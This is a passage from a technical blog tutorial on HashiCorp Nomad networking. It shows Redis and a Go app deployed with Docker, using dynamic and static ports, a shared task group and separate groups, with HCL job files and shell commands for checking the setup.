<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#032F62, #96D0FF);"> job.nomad</span></span></code></pre>
<p>Within a few lines of config, we have a Docker container running, which exposes a dynamic port <code>23522</code>.</p>
<p><img src="https://mrkaran.dev/images/nomad_redis_dynamic_port.png" alt="image" /></p>
<p>We can connect to it via <code>redis-cli</code> on our host:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> redis-cli</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">p</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 23522</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">127.0.0.1:23522</span><span>&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> ping</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">PONG</span></span></code></pre>
<p>NOTE: It’s important to have <code>ports</code> in your <code>task.config</code> section. Nomad passes this information to the <code>docker</code> daemon running on the host. So unless you specify which ports to advertise in the container, it won’t know whether to expose 6379 or not.</p>
<p>This can be easily verified with <code>docker inspect</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> without `ports`</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> docker</span><span style="color: light-dark(#032F62, #96D0FF);"> inspect</span><span style="color: light-dark(#032F62, #96D0FF);"> fc32a4ffd148</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">{{json .NetworkSettings.Ports }}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> jq</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">6379/tcp</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> null</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> with `ports`</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> docker</span><span style="color: light-dark(#032F62, #96D0FF);"> inspect</span><span style="color: light-dark(#032F62, #96D0FF);"> 0421101d0228</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">{{json .NetworkSettings.Ports }}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> jq</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">6379/tcp</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span> [</span></span>
<span class="giallo-l"><span>    {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">HostIp</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">127.0.0.1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">HostPort</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">31930</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>  ],</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">6379/udp</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span> [</span></span>
<span class="giallo-l"><span>    {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">HostIp</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">127.0.0.1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">HostPort</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">31930</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>  ]</span></span>
<span class="giallo-l"><span>}</span></span></code></pre><h3 id="exposing-static-ports">Exposing Static ports<a class="zola-anchor" href="#exposing-static-ports" aria-label="Anchor link for: exposing-static-ports">#</a></h3>
<p>A less common scenario is to bind an application to a static port on the host. We’ll cover an example of when you want to do that a bit later, but this is generally not widely used because in a cluster your application can “float” around and the idea of sticking to a port is not useful. However, there’s a way for us to do that by simply adding a <code>static</code> line in our <code>port</code> block:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    network</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span></span>
<span class="giallo-l"><span>        static</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span></code></pre>
<p><img src="https://mrkaran.dev/images/nomad_redis_static_port.png" alt="image" /></p>
<p>When we deploy the same file again, we can see the port allocation has changed from dynamic to the static port we assigned. It’s your job to ensure no other applications are listening on that same interface and port because that’s bound to cause conflicts.</p>
<h2 id="scenario-2-communicate-to-redis-within-the-same-group">Scenario 2: Communicate to Redis within the same group<a class="zola-anchor" href="#scenario-2-communicate-to-redis-within-the-same-group" aria-label="Anchor link for: scenario-2-communicate-to-redis-within-the-same-group">#</a></h2>
<p>For this scenario, we are going to assume there’s a Go application that needs to talk to Redis. However, in this scenario, the Redis is sort of like an ephemeral cache, so it’s okay to deploy both of them in the same <em>Task Group</em>.</p>
<p class="ad-info">
If you don't know the difference between a Task and Group, here's a very primitive explanation but please read the docs for more clarity.
<br/><br/>
A Group can contain multiple tasks. What's important to know here is that a group will always have its own shared network namespace. This means, that if you have 2 tasks in the group, they both will have access to the same network namespace. This allows both tasks to talk to each other on the same network interface.
</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">job</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;hello&quot;</span><span> {</span></span>
<span class="giallo-l"><span>  datacenters</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">dc1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>  type</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">service</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  group</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>    count</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    network</span><span> {</span></span>
<span class="giallo-l"><span>      mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 8080</span></span>
<span class="giallo-l"><span>        static</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 8080</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span></span>
<span class="giallo-l"><span>        static</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>      driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      config</span><span> {</span></span>
<span class="giallo-l"><span>        network_mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        image</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis:7</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        ports</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      resources</span><span> {</span></span>
<span class="giallo-l"><span>        cores</span><span style="color: light-dark(#D73A49, #F47067);">  =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"><span>        memory</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 256</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>      driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      env</span><span> {</span></span>
<span class="giallo-l"><span>        DEMO_REDIS_ADDR</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#D73A49, #F47067);">${</span><span>NOMAD_ADDR_redis</span><span style="color: light-dark(#D73A49, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      config</span><span> {</span></span>
<span class="giallo-l"><span>        network_mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        image</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">mrkaran/hello-app:1.0.0</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        ports</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      resources</span><span> {</span></span>
<span class="giallo-l"><span>        cores</span><span style="color: light-dark(#D73A49, #F47067);">  =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"><span>        memory</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 512</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p><strong>Key Points</strong>:</p>
<ul>
<li>You can see we have defined <code>task</code> app and task <code>redis</code> under the same group, <code>app</code>. This means that Nomad will co-locate both of these tasks on the same client (because they tend to share not just the same network namespace but a common allocation directory as well - which makes it super easy to share files across tasks).</li>
<li>We are using <code>NOMAD_ADDR_redis</code> to get the IP:Port combination for the <code>redis</code> task. This gets injected at runtime by Nomad. You can find a list of runtime variables <a rel="external" href="https://www.nomadproject.io/docs/runtime/environment">here</a>.</li>
<li>This is ideal for quick tests/dev setup where you don’t want the overhang of Service Discovery etc and want to connect to your applications in the least friction possible.</li>
</ul>
<p>The above config is suitable if you’re migrating from <code>docker-compose</code> based environments, you can use this template for your services. The biggest limitation of this approach is that it’s using a host network so it’s not possible to set up any kind of Access Controls on it. This effectively means that nothing prevents any other application on the cluster to talk to these ports.</p>
<h2 id="scenario-3-communicate-across-different-groups">Scenario 3: Communicate across different groups<a class="zola-anchor" href="#scenario-3-communicate-across-different-groups" aria-label="Anchor link for: scenario-3-communicate-across-different-groups">#</a></h2>
<p>Task Groups are useful if you have <em>related</em> tasks (like the init task where you wanna fetch the files before the task starts). But a drawback of using <code>group</code> is that you can’t scale the tasks independently. In the above example, we placed Redis and App in the same group, but that means if you increase <code>count</code> of same group to scale the app, you end up scaling Redis containers too. This is undesirable as Redis may not to scale proportionally to app.</p>
<p>The way to do create multiple groups is to split the tasks into their own individual groups:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">job</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;hello&quot;</span><span> {</span></span>
<span class="giallo-l"><span>  datacenters</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">dc1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>  type</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">service</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  group</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>    count</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    network</span><span> {</span></span>
<span class="giallo-l"><span>      mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 8080</span></span>
<span class="giallo-l"><span>        static</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 8080</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>      driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      env</span><span> {</span></span>
<span class="giallo-l"><span>        DEMO_REDIS_ADDR</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">localhost:6379</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      config</span><span> {</span></span>
<span class="giallo-l"><span>        image</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">mrkaran/hello-app:1.0.0</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        ports</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      resources</span><span> {</span></span>
<span class="giallo-l"><span>        cores</span><span style="color: light-dark(#D73A49, #F47067);">  =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"><span>        memory</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 512</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  group</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>    count</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    network</span><span> {</span></span>
<span class="giallo-l"><span>      mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span></span>
<span class="giallo-l"><span>        static</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>      driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      config</span><span> {</span></span>
<span class="giallo-l"><span>        image</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis:7</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        ports</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      resources</span><span> {</span></span>
<span class="giallo-l"><span>        cores</span><span style="color: light-dark(#D73A49, #F47067);">  =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"><span>        memory</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 256</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>When you submit this job, you get 2 allocation IDs (each group creates one <code>alloc</code>). The key point here is that both of these groups have their own network namespace. So, we don’t really have any way to reach the other application (we can’t really rely on the host network, because there’s no guarantee that both of these groups will be deployed on the same node).</p>
<p>In the previous example, we saw how Nomad exposes runtime variables that contained information about all tasks in other groups. But now since the groups are separate, the <code>app</code> container has no idea about <code>redis</code> (or vice-versa):</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">env</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#032F62, #96D0FF);"> NOMAD</span></span>
<span class="giallo-l"><span>NOMAD_REGION</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">g</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">b</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">l</span></span>
<span class="giallo-l"><span>NOMAD_CPU_LIMIT</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">4</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">0</span></span>
<span class="giallo-l"><span>NOMAD_IP_app</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">1</span></span>
<span class="giallo-l"><span>NOMAD_JOB_ID</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span></span>
<span class="giallo-l"><span>NOMAD_TASK_NAME</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">p</span></span>
<span class="giallo-l"><span>NOMAD_SECRETS_DIR</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">s</span></span>
<span class="giallo-l"><span>NOMAD_CPU_CORES</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">1</span></span>
